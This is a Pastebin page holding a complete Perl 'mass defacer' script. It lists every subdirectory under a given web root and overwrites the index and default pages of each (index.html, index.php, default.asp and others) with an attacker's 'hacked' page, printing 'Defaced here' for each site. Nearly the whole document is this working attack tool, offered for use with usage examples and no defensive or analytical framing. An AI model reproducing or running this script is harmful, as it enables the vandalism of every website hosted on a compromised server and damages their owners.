Advertisement
blogfakessh

Untitled

Jul 4th, 2013
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.17 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. #My comments >>
  4. #(C) anonymous
  5. #mass defacer script (c)
  6. #usage: hmass.pl -i <index.html> -d <defacepath> -p <rootpath>
  7. #example: hmass.pl -p public_html -i hacked.html -d c:\inetpub\wwwroot\
  8. # [-p Optional ]
  9. #mail:
  10. #Special thanks: Cyberwired
  11.  
  12. #my used functions
  13. use Getopt::Std;
  14. use FileHandle;
  15. use File::Copy "cp";
  16. #<<end used functions
  17.  
  18. #checking OS
  19. my $OperatingSystem = $^O;
  20. my $unix = "";
  21. if (index(lc($OperatingSystem),"win")!=-1){
  22. $unix="0"; #windows system
  23. }else{
  24. $unix="1"; #unix system
  25. }
  26.  
  27. #Our variables
  28. getopts (":p:i:d:", \%args);
  29. $p=$args{p}; #root path
  30. $d=$args{d};#mass deface path
  31. $i=$args{i};#index file
  32.  
  33. #Our index files
  34. #d0 u need 0ther add it
  35. @indexz=('index.html','index.htm','index.asp','index.cfm','i ndex.php','default.html','default.htm','default.asp','defaul t.cfm','default.php');
  36.  
  37.  
  38. #Parametres Checking
  39. if(!defined($d) || !defined($i)){usage();}
  40. if(defined($d) && defined($i) && !defined($p)){checkfile($i);checkdir($d);normaldeface($d);};
  41. if(defined($d) && defined($i) && defined($p)){checkfile($i);checkdir($d);rootpathdeface($d,$p );};
  42.  
  43. #normal deface function
  44. sub normaldeface{
  45. if($unix){
  46. system("clear");
  47. }
  48. else{system("cls");}
  49. $dir=shift;
  50. @otekidizinler=dizinbul($dir);
  51. foreach $tekdizin(@otekidizinler){
  52. foreach $tekindex(@indexz){
  53. if($unix){
  54. gopyala($i,"$dir//$tekdizin//$rpath//$tekindex");
  55. }
  56. else{gopyala($i,"$dir\\$tekdizin\\$rpath\\$tekindex");}
  57. }
  58. print "Defaced here : $tekdizin\n";
  59. }
  60. }
  61.  
  62. #rootpath deface function
  63. sub rootpathdeface{
  64. if($unix){
  65. system("clear");
  66. }
  67. else{system("cls");}
  68. ($dzn,$rpath)=@_;
  69. @aqdunyanin=dizinbul($dzn);
  70. foreach $tekdizin(@aqdunyanin){
  71. foreach $tekindex(@indexz){
  72. if($unix){
  73. gopyala($i,"$dzn//$tekdizin//$rpath//$tekindex");
  74. }
  75. else{gopyala($i,"$dzn\\$tekdizin\\$rpath\\$tekindex");}
  76. }
  77. print "Defaced here : $tekdizin\\$rpath\n";
  78. }
  79. }
  80.  
  81. #copy function
  82. sub gopyala{
  83. ($file1,$file2)=@_;
  84. $n = FileHandle->new("$file1","r");
  85. cp($n,"$file2");
  86. }
  87.  
  88. #list dir function
  89. sub dizinbul {
  90. my ($dir) = @_;
  91. opendir(DIR, $dir) || return();
  92. my @files = readdir(DIR);
  93. closedir(DIR);
  94. @files = grep { -d "$dir/$_" } @files; #alt dizinler
  95. my @files = grep { $_ !~ /^(\.){1,2}$/ } @files;# Bir alt dizin ve i&#231;inde bulunulan dizini ay?kla
  96. return(@files);
  97. }
  98.  
  99. sub checkfile{$file=shift; if(!-e $file){print "\n\"$file\" file doesn't exists,check your index file\n";exit;} }
  100. sub checkdir{$dir=shift; if(!-d $dir){print "\n\"$dir\" path doesn't exists,check your deface path\n";exit;} }
  101.  
  102. #How i use this script ?
  103. sub usage{
  104.  
  105. if($unix){
  106. system("clear");
  107. }
  108. else{system("cls");}
  109.  
  110. print q
  111. [
  112. ============================================================ =============
  113. h4ck for tools
  114. (C) anonymous
  115. usage: hmass.pl -i <index.html> -d <defacepath> -p <rootpath>
  116. example: hmass.pl -p public_html -i hacked.html -d c:\inetpub\wwwroot\
  117. -p Optional
  118. ============================================================ =============
  119. ];
  120. exit;
  121. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement